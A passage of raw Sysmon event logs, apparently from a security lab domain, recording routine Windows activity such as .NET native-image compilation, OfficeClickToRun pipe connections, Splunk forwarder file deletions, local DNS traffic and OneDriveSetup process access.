vc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d19b(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d23f(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d2bd(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 18141800x800000000000000042452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.086{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.039{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3F-613B-E308-00000000F001}6748C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.023{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F3F-613B-E308-00000000F001}6748C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:15.023{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3F-613B-E308-00000000F001}6748C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000042448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.023{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.023{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.023{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.023{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.023{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.023{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.023{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.023{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:15.023{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 354300x800000000000000042439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.970{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local60696- 354300x800000000000000042438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:11.939{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local60696- 23542300x800000000000000013819Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:15.114{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1560EAEBC18FBD87DF641C5F5519DD61,SHA256=23EE694CCD8A9E4D44D1D3FA53DF186EFCB87129EDEE028D1CBE088D786917BF,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.977{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F40-613B-F508-00000000F001}6992C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.961{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F40-613B-F508-00000000F001}6992C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.961{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F40-613B-F508-00000000F001}6992C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000042707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.914{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7961E626CFEB93984BBF3191FAFB2E93,SHA256=668F53060BFBA59E76465B53B563336B4C862EA09230B19ECFDE38B0F30D932F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000042706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.883{7BD73061-65B2-613B-1600-00000000F001}1296NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\Users\ADMINI~1\AppData\Local\Temp\BIT69DC.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.883{7BD73061-65B2-613B-1600-00000000F001}12962072C:\Windows\system32\svchost.exe{7BD73061-6F40-613B-F108-00000000F001}7116C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|c:\windows\system32\qmgr.dll+2e4ff|c:\windows\system32\qmgr.dll+2ce27|c:\windows\system32\qmgr.dll+1f3ce|c:\windows\system32\qmgr.dll+1f73c|c:\windows\system32\qmgr.dll+1f575|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\combase.dll+2800|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b 10341000x800000000000000042704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.867{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F40-613B-F108-00000000F001}7116C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.852{7BD73061-6F40-613B-F108-00000000F001}71164204C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\windows.storage.dll+1dbb09(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\shcore.dll+12a10(wow64)|C:\Windows\System32\shcore.dll+36766(wow64)|C:\Windows\System32\shcore.dll+36625(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+29b8a|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a27d|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a167|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+5feaa|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+67b89 10341000x800000000000000042702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.852{7BD73061-6F40-613B-F108-00000000F001}71164204C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\windows.storage.dll+1dba3c(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\shcore.dll+12a10(wow64)|C:\Windows\System32\shcore.dll+36766(wow64)|C:\Windows\System32\shcore.dll+36625(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+29b8a|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a27d|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a167|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+5feaa|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+67b89 10341000x800000000000000042701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.852{7BD73061-6F40-613B-F108-00000000F001}71164204C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+264da(wow64)|C:\Windows\System32\shcore.dll+297f0(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\windows.storage.dll+1dba27(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\shcore.dll+12a10(wow64)|C:\Windows\System32\shcore.dll+36766(wow64)|C:\Windows\System32\shcore.dll+36625(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+29b8a 10341000x800000000000000042700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.852{7BD73061-6F40-613B-F108-00000000F001}71164204C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+297cb(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\windows.storage.dll+1dba27(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\shcore.dll+12a10(wow64)|C:\Windows\System32\shcore.dll+36766(wow64)|C:\Windows\System32\shcore.dll+36625(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+29b8a|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a27d 10341000x800000000000000042699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.852{7BD73061-6F40-613B-F108-00000000F001}71164204C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\windows.storage.dll+1dbb09(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\shcore.dll+12a10(wow64)|C:\Windows\System32\shcore.dll+36766(wow64)|C:\Windows\System32\shcore.dll+36625(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+29b8a|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a27d|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a167|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+5feaa|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+67b89 10341000x800000000000000042698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.852{7BD73061-6F40-613B-F108-00000000F001}71164204C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+26498(wow64)|C:\Windows\System32\shcore.dll+230fc(wow64)|C:\Windows\System32\windows.storage.dll+1dba3c(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\shcore.dll+12a10(wow64)|C:\Windows\System32\shcore.dll+36766(wow64)|C:\Windows\System32\shcore.dll+36625(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+29b8a|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a27d|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a167|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+5feaa|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+67b89 10341000x800000000000000042697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.852{7BD73061-6F40-613B-F108-00000000F001}71164204C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+264da(wow64)|C:\Windows\System32\shcore.dll+297f0(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\windows.storage.dll+1dba27(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\shcore.dll+12a10(wow64)|C:\Windows\System32\shcore.dll+36766(wow64)|C:\Windows\System32\shcore.dll+36625(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+29b8a 10341000x800000000000000042696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.852{7BD73061-6F40-613B-F108-00000000F001}71164204C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\System32\shcore.dll+2983c(wow64)|C:\Windows\System32\shcore.dll+297cb(wow64)|C:\Windows\System32\shcore.dll+299c5(wow64)|C:\Windows\System32\shcore.dll+29d58(wow64)|C:\Windows\System32\shcore.dll+29dc5(wow64)|C:\Windows\System32\windows.storage.dll+1dba27(wow64)|C:\Windows\System32\windows.storage.dll+1db905(wow64)|C:\Windows\System32\windows.storage.dll+1db766(wow64)|C:\Windows\System32\shcore.dll+12a10(wow64)|C:\Windows\System32\shcore.dll+36766(wow64)|C:\Windows\System32\shcore.dll+36625(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+29b8a|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+2a27d 10341000x800000000000000042695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:16.852{7BD73061-6F40-613B-F108-00000000F001}71164204C:\Program Files\Microsoft 